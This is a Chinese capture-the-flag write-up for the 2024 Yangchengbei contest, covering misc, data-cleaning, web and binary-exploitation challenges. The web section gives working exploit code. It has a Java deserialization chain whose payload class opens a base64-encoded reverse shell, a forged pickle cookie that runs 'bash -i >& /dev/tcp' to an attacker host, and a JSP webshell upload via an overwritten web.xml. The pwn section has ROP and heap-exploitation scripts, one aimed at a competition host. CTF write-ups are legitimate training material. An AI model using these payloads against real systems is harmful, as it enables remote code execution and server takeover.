2024羊城杯WriteUP

admin 2024年8月29日16:35:52评论120 views字数 34664阅读115分32秒阅读模式
2024羊城杯WriteUP

Misc

 

01
2024羊城杯WriteUP

hiden

根据附件信息,不难猜出是rot47+rot13

import wavef = wave.open("hiden.wav", "rb")wav_data = f.readframes(-1)file_len = int.from_bytes(wav_data[:3:4])hidden_data = bytearray(file_len)for index in range(file_len):hidden_data[index] = wav_data[(index + 3) * 4]print(hidden_data)

 

2024羊城杯WriteUP

 

02
2024羊城杯WriteUP

checkin

解压附件,得到一个Flag.txt把里面的东西可以恢复出一个流量包

但是流量包里没有一点头绪

Hint 指出挖掘TXT文件,想到TXT文件隐写,而压缩包里有一串编码,解一下是base58

2024羊城杯WriteUP

 

利用wbs43open解,刚刚base58解码出的就是key,最后得到一个log

2024羊城杯WriteUP

 

经查看,是TLS的密钥log,导入wireshark中,解出一堆http流量,其中有个flag.gif

2024羊城杯WriteUP

 

提取gif的时间间隔,然后转为2进制,转字符,得出flag

U_0wN_1T

 

03
2024羊城杯WriteUP

so much

附件是一个ad1文件,这是AcessData的特殊存储格式,需要用FTK挂载,挂载时需要密码,把附件拖进010看看

2024羊城杯WriteUP

 

1234567不对,不过!@#$%^&对了

2024羊城杯WriteUP

 

2024羊城杯WriteUP

 

把这一堆时间的提取为二进制,19分的记作1,20分的记作0

import oslist = ['']*344i = 0for j in range(344):    list[j] = os.path.getmtime(str(j)+'.crypto')print(list)flag = ''for i in range(344):    if(str(list[i]) == '1628151585.73009'):        flag += '0'    else:        flag += '1'print(flag)tmp = ''for k in range(len(flag)):    tmp += flag[k]    if len(tmp) == 8:        print(chr(int(tmp,2)),end='')        tmp = ''

运行得到密钥,用Encrypt工具和密钥解0,1两个文件得到flag

2024羊城杯WriteUP2024羊城杯WriteUP

04
2024羊城杯WriteUP
1z_misc

 

打开压缩包后有一个加密的zip文件和一个txt,txt中提示了我们所需要的解密密钥。

天地玄黄,宇宙洪荒;日月盈昃,辰宿列张;万物芸芸,息息相关;是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。

若女可为11,可为1124......觜可为91,亦可为725......如此往复,周而复始。

祈解其秘:[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,16,101,16,55,1027,1017,28,16]

 

2024羊城杯WriteUP

 

一开始根本没想法,但是根据提示可知,11代表的是子所属第一个星宿女,也是戌对应的逆时针第二十四个星宿。所以数组中的数代表着多个星宿,前面一个数代表生肖后面的数为逆时针的第几个星宿。我们根据规则解得数组内容为

心,胃,心,奎,奎,心,奎,心,胃,心,心,心,胃,心,心,胃,心,奎,奎,奎,奎,胃,奎,心,奎,奎,胃,奎,心,奎,心,奎,奎

因为其只有三种星宿所以很是莫斯电码,我转换成莫斯电码解得key为E@SI1Y!解压后我们发现一张天琴座图片,联想到lyra工具,解码后后获得音频文件。语音识别出一堆社会主义核心价值观编码

解密得到flag

05
2024羊城杯WriteUP

miaoro

对于这种流量题大多都是一个一个翻,在这里找到一个密码,先暂记一下

2024羊城杯WriteUP

 

这里可以发现攻击者下载了一个文件

2024羊城杯WriteUP

 

下方蓝色区域就是文件内容,导出解base64编码后,还原出一个zip

需要密码,正好用到刚刚记下的那个密码

揭开后得到一个杂乱无章的图片,恢复一下宽高

2024羊城杯WriteUP

 

抖音上找到了一个密码对照表,小猫密码

EBOFDELQDIAA}

还差一半,这里能看出,是shiro流量,一个个分析,分析到第7个流得出flag

2024羊城杯WriteUP

DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}

06
2024羊城杯WriteUP
不一样的数据库2

发现有提示6number,Zip爆破

2024羊城杯WriteUP

 

里面是个png,残缺的二维码,

利用QRazyBox (https://merri.cx/qrazybox/)开修

2024羊城杯WriteUP

 

ROT13解出AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH这个.kdbx文件用KeepPassXC打开得到

U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A==

然后AES解密就行,key为DASCTF

2024羊城杯WriteUP

Crypto数据安全

 

01
2024羊城杯WriteUP

data1

2024羊城杯WriteUP

 

第一题相对简单,直接给出了csv格式的数据,写个脚本清洗一下即可

import pandas as pdimport timedef is_password_hash(value):    return len(value) == 32 and all(c in '0123456789abcdefABCDEF' for c in value)

def is_gender(value):    return value.strip() in ['男', '女']

def is_chinese_name(value):    return all('u4e00' <= c <= 'u9fff' or c in {'·', '.'} for c in value.strip()) and len(value) > 1

def is_birth_date(value):    return len(value) == 8 and value.isdigit()

def is_id_number(value):    return len(value) == 18 and value[:-1].isdigit() and (value[-1].isdigit() or value[-1].upper() == 'X')

def is_phone_number(value):    return len(value) == 11 and value.isdigit()

def is_username(value):    return value.isalnum()

def is_serial_number(value):    return value.isdigit()corrected_data = pd.DataFrame(columns=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码'])

df = pd.read_csv('./person_data.csv')i=0for index, row in df.iterrows():    new_row = {}    for item in row:        item = str(item).strip()  # 清理数据        if is_password_hash(item):            new_row['密码'] = item        elif is_gender(item):            new_row['性别'] = item        elif is_chinese_name(item):            new_row['姓名'] = item        elif is_birth_date(item):            new_row['出生日期'] = item        elif is_id_number(item):            new_row['身份证号'] = item        elif is_phone_number(item):            new_row['手机号码'] = item        elif is_serial_number(item):            new_row['编号'] = item        elif is_username(item):            new_row['用户名'] = item        print(new_row)    if new_row:        corrected = pd.concat([corrected, pd.DataFrame([new_row])], ignore_index=True)

corrected.to_csv('./flag.csv', index=False)

 

02
2024羊城杯WriteUP

data2

这次给的是流量包,所有数据都在流量的json文件里,只需要提取所有json再数据清洗即可

2024羊城杯WriteUP

 

用tshark提取,然后上EXP

import jsonimport csvimport re

user_data_file = 'output.txt'output_file = 'output.csv'

def check_username(username):  return bool(re.match(r'^[a-zA-Z0-9]+$', username))

def check_name(name):  return bool(re.match(r'^[u4e00-u9fff]{2,4}$', name))

def calculate_check_digit(idcard_base):  coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]  check_digits = "10X98765432"  total = sum(int(idcard_base[i]) * coefficients[i] for i in range(17))  remainder = total % 11  return check_digits[remainder]

def check_idcard(idcard, sex, birth):  idcard = str(idcard)  if len(idcard) != 18:    return False

  if is_even(int(idcard[-2])):    if sex != "女":      return False  else:    if sex != "男":      return False

  if idcard[6:14] != str(birth):    return False

def check_phone(phone):  check_list = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,         778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,         756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,         780, 781, 789, 790, 791, 793, 799]  if len(phone) != 11:    return False  if int(phone[:3]) not in check_list:    return False  return True

def check_user(user):  if not check_username(user['username']):    return False  if not check_name(user['name']):    return False  if not check_idcard(user['idcard'], user['sex'], user['birth']):    return False  if not check_phone(user['phone']):    return False  return True

invalid_users = []with open(user_data_file, 'r', encoding='utf-8') as file:  for line in file:    user = json.loads(line.strip())    if not check_user(user):      invalid_users.append(user)

with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:  fieldnames = ['username', 'name', 'sex', 'birth', 'idcard', 'phone']  writer = csv.DictWriter(csvfile, fieldnames=fieldnames)  writer.writeheader()  writer.writerows(invalid_users)

 

03
2024羊城杯WriteUP

data3

难度更进一步,只给了log文件,但是根据查找,发现只有error.log有用其他都是废物

把这些字节流转换一下,就是密码了

2024羊城杯WriteUP

这里要求两个操作,第一是提取,第二是脱敏,所以两个脚本

import csvimport reimport urllib.parseimport hashliblog_file_path = 'error.log'def mask_username(username):    if len(username) == 2:        return username[0] + '*'    elif len(username) > 2:        return username[0] + '*' * (len(username) - 2) + username[-1]    return username

def mask_name(name):    if len(name) == 2:        return name[0] + '*'    elif len(name) > 2:        return name[0] + '*' * (len(name) - 2) + name[-1]    return name

def mask_idcard(idcard):    return '*' * 6 + idcard[6:10] + '*' * (len(idcard) - 10)

def mask_phone(phone):    return phone[:3] + '****' + phone[7:]

def md5_password(password):    return hashlib.md5(password.encode()).hexdigest()def is_valid_username(username):    return bool(re.match(r'^[A-Za-z0-9]+$', username))

csv_file_path_raw = 'raw_output_data.csv'fields = ['userna', 'password', 'name', 'idcard', 'phone']with open(log_file_path, 'r', encoding='utf-8') as file:    with open(csv_file_path_raw, 'w', newline='', encoding='utf-8') as csvfile:        writer = csv.DictWriter(csvfile, fieldnames=fields)        writer.writeheader()        current_data = {}        for line in file:            if 'userna=' in line:                current_data = {}                for field in ['userna', 'name', 'idcard', 'phone']:                    match = re.search(f"{field}=([^&]+)", line)                    if match:                        current_data[field] = match.group(1).strip()                if 'userna' in current_data:                    current_data['userna'] = urllib.parse.unquote(current_data['userna'])                if 'name' in current_data:                    current_data['name'] = urllib.parse.unquote(current_data['name'])            if 'password' in line:                password_match = re.search(r'password=([^&]+)', line)                if password_match:                    password = password_match.group(1).strip()[:-2]                    current_data['password'] = md5_password(password)                if current_data:                    writer.writerow(current_data)                    current_data = {}

csv_file_path_final = 'final_output_data.csv'def mask_username(username):    if len(username) == 2:        return username[0] + '*'    elif len(username) > 2:        return username[0] + '*' * (len(username) - 2) + username[-1]    return username

def mask_name(name):    if len(name) == 2:        return name[0] + '*'    elif len(name) > 2:        return name[0] + '*' * (len(name) - 2) + name[-1]    return name

def mask_idcard(idcard):    return '*' * 6 + idcard[6:10] + '*' * (len(idcard) - 10)

def mask_phone(phone):    return phone[:3] + '****' + phone[7:]def check_phone(phone):    check_list=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]    if len(phone)!=11:        return False    if int(phone[0:3]) in check_list:        return True    else:        return Falsedef check_idcard(id):    id = str(id)    coe=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]    num_sum=0    for i in range(len(id)-1):        num_sum+=int(id[i])*coe[i]    rem=num_sum%11    codes="10X98765432"

    if id[-1]!=codes[rem]:        return False    return Truedef check_name(name):    return bool(re.match(r'^[u4e00-u9fff]+$', name))with open(csv_file_path_raw, 'r', encoding='utf-8') as infile,      open(csv_file_path_final, 'w', newline='', encoding='utf-8') as outfile:        reader = csv.DictReader(infile)    writer = csv.DictWriter(outfile, fieldnames=fields)    writer.writeheader()

    for row in reader:        if not is_valid_username(row['userna']):            continue          row['userna'] = mask_username(row['userna'])

        if not check_name(row['name']):            continue        row['name'] = mask_name(row['name'])

        if not check_idcard(row['idcard']):            continue        row['idcard'] = mask_idcard(row['idcard'])

        if not check_phone(row['phone']):            continue        row['phone'] = mask_phone(row['phone'])        writer.writerow(row)

 

脱敏:

import csvimport re

def is_chinese(s):    return all('u4e00' <= char <= 'u9fff' for char in s)

def is_valid_phone_prefix(phone):    valid_prefixes = {734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752,                      757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795,                      798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767,                      771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774,                      777, 780, 781, 789, 790, 791, 793, 799}    return int(phone[:3]) in valid_prefixes

def is_alphanumeric(s):    return s.isalnum()

def is_valid_idcard(idcard):    coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]    check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']    if len(idcard) != 18:        return False    total = sum(int(idcard[i]) * coefficients[i] for i in range(17))    remainder = total % 11    return check_codes[remainder] == idcard[-1]

def desensitize_userna(userna):    if len(userna) == 2:        return userna[0] + "*"    elif len(userna) > 2:        return userna[0] + "*" * (len(userna) - 2) + userna[-1]    return userna

def desensitize_name(name):    if len(name) == 2:        return name[0] + "*"    elif len(name) > 2:        return name[0] + "*" * (len(name) - 2) + name[-1]    return name

def desensitize_idcard(idcard):    return "*" * 6 + idcard[6:10] + "*" * (len(idcard) - 10)

def desensitize_phone(phone):    return phone[:3] + "*" * 4 + phone[7:]

def desensitize_csv(input_file, output_file):    with open(input_file, newline='', encoding='utf-8') as csvfile:        reader = csv.DictReader(csvfile)        fieldnames = reader.fieldnames        rows = []

        for row in reader:            if not is_chinese(row['name']):                continue            if not is_valid_phone_prefix(row['phone']):                continue            if not is_alphanumeric(row['userna']):                continue            if not is_valid_idcard(row['idcard']):                continue            row['userna'] = desensitize_userna(row['userna'])            row['name'] = desensitize_name(row['name'])            row['idcard'] = desensitize_idcard(row['idcard'])            row['phone'] = desensitize_phone(row['phone'])            rows.append(row)

    with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)        writer.writeheader()        writer.writerows(rows)input_file = 'input.csv'output_file = 'output.csv'desensitize_csv(input_file, output_file)

 

2024羊城杯WriteUP

Web

01
2024羊城杯WriteUP

ez_java

用户名密码提示在bean.User中

 

2024羊城杯WriteUP

观察controler.userContoler中定义的/user/ser路由存在反序列化注入点

2024羊城杯WriteUP


并且
发现反序列化使用了在utils.MyObjectInputStream重写的resolveClass()方法,过滤了反序列化部分类

2024羊城杯WriteUP


在依赖项中,我们找到了jackson这个依赖,并且没有被过滤,可以尝试EventListenerList-->UndoManager#toString()>Vector#toString(--> POJONode#toString()

这条链子,从而调用一个getter不过本题禁用了TemplatesImpl类,无法直接加载恶意字节码,但是我们发现在bean.User中的getter中更新了系统类加载器,使其可以在给定的url中寻找类,拓展了类的寻找路径

2024羊城杯WriteUP

所以我们可以将恶意类放在web应用可接触的地方,第一次反序列化bean.User加载恶意类的路径,第二次再次反序列化恶意类,调用其恶意的getter方法,从而rce。另外我们还要通过jar协议绕过bean.User对url中file和http的检测,要将恶意类打包成jar包

恶意类构造:

package org.le;
import java.io.IOException;import java.io.Serializable;
public class payload implements Serializable {
    public String Gift;
    static {        String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSjEK}|{base64,-d}|{bash,-i}";
        try {            Runtime rt = Runtime.getRuntime();            rt.exec(cmd);        } catch (IOException e) {            throw new RuntimeException(e);        }    }
    public void setGift(String gift) {        Gift = gift;    }
    public String getGift() {        String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSJjEK}|{base64,-d}|{bash,-i}";        try {            Runtime rt = Runtime.getRuntime();            rt.exec(cmd);        } catch (IOException e) {            throw new RuntimeException(e);        }        return cmd;    }}
生成第一次反序列化payload:
package org.le;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import com.example.ycbjava.bean.User;import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;

public class Main {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                field.setAccessible(true);                return field.get(obj);            } catch (Exception e) {                clazz = clazz.getSuperclass();            }        }        return null;    }
    public static byte[] serialize(final Object obj) throws Exception {        ByteArrayOutputStream btout = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(btout);        objOut.writeObject(obj);        return btout.toByteArray();    }    public static Object deserialize(final byte[] serialized) throws Exception {        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);        ObjectInputStream objIn = new ObjectInputStream(btin);        return objIn.readObject();    }
    public static void main(String[] args) throws Exception {        User user = new User();        user.setUsername("jar:http://ip:port/p2.jar!/");
        payload payload = new payload();        POJONode pojoNode = new POJONode(user);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()        EventListenerList list = new EventListenerList();        UndoManager manager = new UndoManager();        Vector vector = (Vector) getFieldValue(manager, "edits");        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
        byte[] obs = serialize(list);        System.out.println(new String(Base64.getEncoder().encode(obs)));        //deserialize(obs);    }}
生成第二次反序列化payload
package org.le;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import com.example.ycbjava.bean.User;import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;

public class Main {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                field.setAccessible(true);                return field.get(obj);            } catch (Exception e) {                clazz = clazz.getSuperclass();            }        }        return null;    }
    public static byte[] serialize(final Object obj) throws Exception {        ByteArrayOutputStream btout = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(btout);        objOut.writeObject(obj);        return btout.toByteArray();    }    public static Object deserialize(final byte[] serialized) throws Exception {        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);        ObjectInputStream objIn = new ObjectInputStream(btin);        return objIn.readObject();    }
    public static void main(String[] args) throws Exception {        User user = new User();        user.setUsername("jar:http://ip:port/p2.jar!/");
        payload payload = new payload();        POJONode pojoNode = new POJONode(payload);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()        EventListenerList list = new EventListenerList();        UndoManager manager = new UndoManager();        Vector vector = (Vector) getFieldValue(manager, "edits");        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
        byte[] obs = serialize(list);        System.out.println(new String(Base64.getEncoder().encode(obs)));        //deserialize(obs);    }}


由于靶机出网,所以文件上传在本题可有可无

将jar包上传到服务器,开启服务

2024羊城杯WriteUP


同时另一边开启监听

第一段

 

2024羊城杯WriteUP

第二段

 

2024羊城杯WriteUP

成功反弹shell

2024羊城杯WriteUP

得到flag

 

02
2024羊城杯WriteUP

 Lyrics For You

访问http://ip:prot/lyrics?lyrics=/etc/passwd,存在任意文件读取

 

2024羊城杯WriteUP

读取/proc/self/cmdline

2024羊城杯WriteUP读取源码app.py

import osimport randomfrom config.secret_key import secret_codefrom flask import Flask, make_response, request, render_templatefrom cookie import set_cookie, cookie_check, get_cookieimport pickle
app = Flask(__name__)app.secret_key = random.randbytes(16)

class UserData:    def __init__(self, username):        self.username = username

def Waf(data):    blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]    valid = False    for word in blacklist:        if word.lower() in data.lower():            valid = True            break    return valid

@app.route("/", methods=["GET"])def index():    return render_template("index.html")

@app.route("/lyrics", methods=["GET"])def lyrics():    resp = make_response()    resp.headers["Content-Type"] = "text/plain; charset=UTF-8"    query = request.args.get("lyrics")    path = os.path.join(os.getcwd() + "/lyrics", query)    try:        with open(path) as f:            res = f.read()    except Exception as e:        return "No lyrics found"    return res

@app.route("/login", methods=["POST", "GET"])def login():    if request.method == "POST":        username = request.form["username"]        user = UserData(username)        res = {"username": user.username}        return set_cookie("user", res, secret=secret_code)    return render_template("login.html")

@app.route("/board", methods=["GET"])def board():    invalid = cookie_check("user", secret=secret_code)    if invalid:        return "Nope, invalid code get out!"    data = get_cookie("user", secret=secret_code)    if isinstance(data, bytes):        a = pickle.loads(data)        data = str(data, encoding="utf-8")    if "username" not in data:        return render_template("user.html", name="guest")    if data["username"] == "admin":        return render_template("admin.html", name=data["username"])    if data["username"] != "admin":        return render_template("user.html", name=data["username"])

if __name__ == "__main__":    os.chdir(os.path.dirname(__file__))    app.run(host="0.0.0.0", port=8080)
根据import信息,读取cookie.py
import base64import hashlibimport hmacimport picklefrom flask import make_response, request

unicode = strbasestring = str



# Quoted from python bottle template, thanks :Ddef cookie_encode(data, key):    msg = base64.b64encode(pickle.dumps(data, -1))    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())    return tob("!") + sig + tob("?") + msg



def cookie_decode(data, key):    data = tob(data)    if cookie_is_encoded(data):        sig, msg = data.split(tob("?"), 1)        if _lscmp(            sig[1:],            base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()),        ):            return pickle.loads(base64.b64decode(msg))    return None



def waf(data):    blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]    valid = False    for word in blacklist:        if word in data:            valid = True            break    return valid



def cookie_check(key, secret=None):    a = request.cookies.get(key)    data = tob(request.cookies.get(key))    if data:        if cookie_is_encoded(data):            sig, msg = data.split(tob("?"), 1)            if _lscmp(                sig[1:],                base64.b64encode(                    hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest()                ),            ):                res = base64.b64decode(msg)                if waf(res):                    return True                else:                    return False    return True



def tob(s, enc="utf8"):    return s.encode(enc) if isinstance(s, unicode) else bytes(s)



def get_cookie(key, default=None, secret=None):    value = request.cookies.get(key)    if secret and value:        dec = cookie_decode(value, secret)        return dec[1] if dec and dec[0] == key else default    return value or default



def cookie_is_encoded(data):    return bool(data.startswith(tob("!")) and tob("?") in data)



def _lscmp(a, b):    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)



def set_cookie(name, value, secret=None, **options):    if secret:        value = touni(cookie_encode((name, value), secret))        resp = make_response("success")        resp.set_cookie("user", value, max_age=3600)        return resp    elif not isinstance(value, basestring):        raise TypeError("Secret key missing for non-string Cookie.")    if len(value) > 4096:        raise ValueError("Cookie value too long.")



def touni(s, enc="utf8", err="strict"):    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s
读取config/secret_key.py
secret_code = "EnjoyThePlayTime123456"

分析app.py得知cookie存在pikle反序列化2024羊城杯WriteUP

 

再查看cookie.py,构造exp
from cookie import set_cookie, cookie_check, get_cookie, cookie_encodeimport base64
secret = "EnjoyThePlayTime123456"opcode = b"""(cossystemS'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'o."""# print(base64.b64encode(opcode))exp = cookie_encode(("user", opcode), secret)print(exp)

用其设置cookiekeyuser

user=!/q6TKzG9zuXEHdnahPFBvQ==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjIyNC4xOTkuOTkvOTk5OSAwPiYxIicKby6UhpQu

 

携带cookie访问/board

运行得到

2024羊城杯WriteUP

 

03
2024羊城杯WriteUP

 tomtom2

可以读xml文件,读/opt/tomcat/conf/tomcat-users.xml,找到用户名密码

2024羊城杯WriteUP

web.xml不给读

2024羊城杯WriteUP

先登录

2024羊城杯WriteUP

可以上传xml文件,先传一个jsp马,后缀改成xml

2024羊城杯WriteUP


再上传一个web.xml覆盖原来,将xml文件也解析成jsp

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"        version="4.0">    <servlet>        <servlet-name>xml</servlet-name>        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>xml</servlet-name>        <url-pattern>*.xml</url-pattern>    </servlet-mapping></web-app>


path改成WEB-INF

2024羊城杯WriteUP再次访问发现白页
执行命令

2024羊城杯WriteUP

 

2024羊城杯WriteUP
PWN

 

01
2024羊城杯WriteUP

pstack

总共是0x10字节溢出,buf受rbp控制,直接覆盖rbp,实现栈迁移,利用两次,第一泄露,第二次拿flag

EXP:
from pwn import *from struct import packfrom ctypes import *from libcfind import *import base64leak = lambda name,data : p.success(name +":0x%x" % data)def s(a):    p.send(a)def sa(a, b):    p.sendafter(a, b)def sl(a):    p.sendline(a)def sla(a, b):    p.sendlineafter(a, b)def r():    p.recv()def pr():    print(p.recv())def rl(a):    return p.recvuntil(a)def debug():    gdb.attach(p)    pause()def l64():    return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def l32():    return u32(p.recvuntil(b'xff')[-4:])#定义函数一键下断点def b(addr):    #bk="b *$rebase("+str(addr)+")"    bk='b *' + str(addr)    attach(p,bk)    success('attach')context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')#p = remote('')bss = 0x601010 + 0x700leave_ret = 0x4006DBread = 0x4006C4rdi = 0x0000000000400773rbp = 0x00000000004005b0ret = 0x4006DC
payload = b'a' * (0x30) + p64(bss + 0x30) + p64(read)sa(b"Can you grasp this little bit of overflow?", payload)payload2 = p64(rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(rbp) + p64(bss + 0x300 + 0x30) + p64(read)payload2 += p64(bss - 8) + p64(leave_ret)s(payload2)libc_base = uu64() - libc.sym['read']print(hex(libc_base))system, bin_sh = get_sb()payload3 = (p64(rdi) + p64(bin_sh) + p64(ret) + p64(rdi + 1) + p64(system)).ljust(0x30, b'x00') + p64(    bss + 0x300 - 8) + p64(leave_ret)
s(payload3)p.interactive()

 

02
2024羊城杯WriteUP

TravelGraph

Add处没有offbynull,delete没有uaf,但是可以申请三种堆,可以利用unsortedbin构成bins堆叠从而泄露libc和heap_base,同理可以制造largebin attack,由于2.35中各种magic gadget的移除,所以这里选择利用wide_data为rdx,setcontext+61的gadget来绕过seccomp,完整代码如下

from pwn import *

io = remote("139.155.126.78", 31850)context.os = "linux"context.arch = "amd64"elf = ELF('./pwn2')libc = ELF('./libc.so.6')



def add(choice, From, To, Note=b'deadbeef', Far=0x308):    if choice == 0:        choice = b'car'    elif choice == 1:        choice = b'train'    elif choice == 2:        choice = b'plane'    io.sendlineafter(b"5. Calculate the distance.", b'1')    io.recvuntil(b"What kind of transportation do you want? car/train/plane?")    io.sendline(choice)    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)    io.recvuntil(b"How far?")    io.sendline(str(Far).encode())    io.recvuntil(b"Note:")    io.send(Note)



def delete(From, To):    io.sendlineafter(b"5. Calculate the distance.", b'2')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)



def show(From, To):    io.sendlineafter(b"5. Calculate the distance.", b'3')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)



def edit(From, To, Route, Note, Far=0x308):    io.sendlineafter(b"5. Calculate the distance.", b'4')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)    io.sendlineafter(b'Which one do you want to change?n', str(Route).encode())    io.sendlineafter(b'How far?n', str(Far).encode())    io.sendafter(b'Note:n', Note)



def caculate(To):    io.sendlineafter(b"5. Calculate the distance.", b'5')    io.sendlineafter(b"Where do you want to travel?", To)



# "**guangzhou/nanning/changsha/nanchang/fuzhou**"# cat/train/plane

city_array = [b'guangzhou', b'nanning', b'changsha', b'nanchang', b'fuzhou']

add(0, city_array[0], city_array[4])

add(0, city_array[4], city_array[1])add(1, city_array[1], city_array[2])

add(0, city_array[2], city_array[3])

caculate(city_array[2])delete(city_array[1], city_array[2])delete(city_array[4], city_array[1])payload = b'a' * 0x50f + b'f'add(1, city_array[1], city_array[2], payload, 0x310)show(city_array[1], city_array[2])io.recvuntil(b'aaaaaaaaaaf')libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) - 0x21ace0# 构造largebin泄露hbadd(1, city_array[1], city_array[2], payload, 0x310)add(0, city_array[4], city_array[1], b'deaditsh', 0x310)show(city_array[4], city_array[1])io.recvuntil(b'deaditsh')heap_base = u64(rl()[:-1].ljust(8, b'x00')) - 0x1ec0fake_IO_FILE = heap_base + 0x42f0orw_addr = fake_IO_FILE + 0x268

target_addr = libc_base + libc.sym['_IO_list_all']set_context_61 = libc_base + libc.sym["setcontext"] + 61_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']open_addr = libc_base + libc.sym['open']read_addr = libc_base + libc.sym['read']write_addr = libc_base + libc.sym['write']_IO_cookie_jumps = libc_base + 0x216b80_lock = libc_base + 0x21ca60pop_rax = libc_base + 0x0000000000045eb0_IO_wstrn_jumps = libc_base + 0x216dc0pop_rdi = libc_base + 0x000000000002a3e5pop_rsi = libc_base + 0x000000000002be51syscall = libc_base + 0x0000000000029db4ret = libc_base + 0x0000000000029139pop_rdx_r12_ret = libc_base + 0x000000000011f2e7

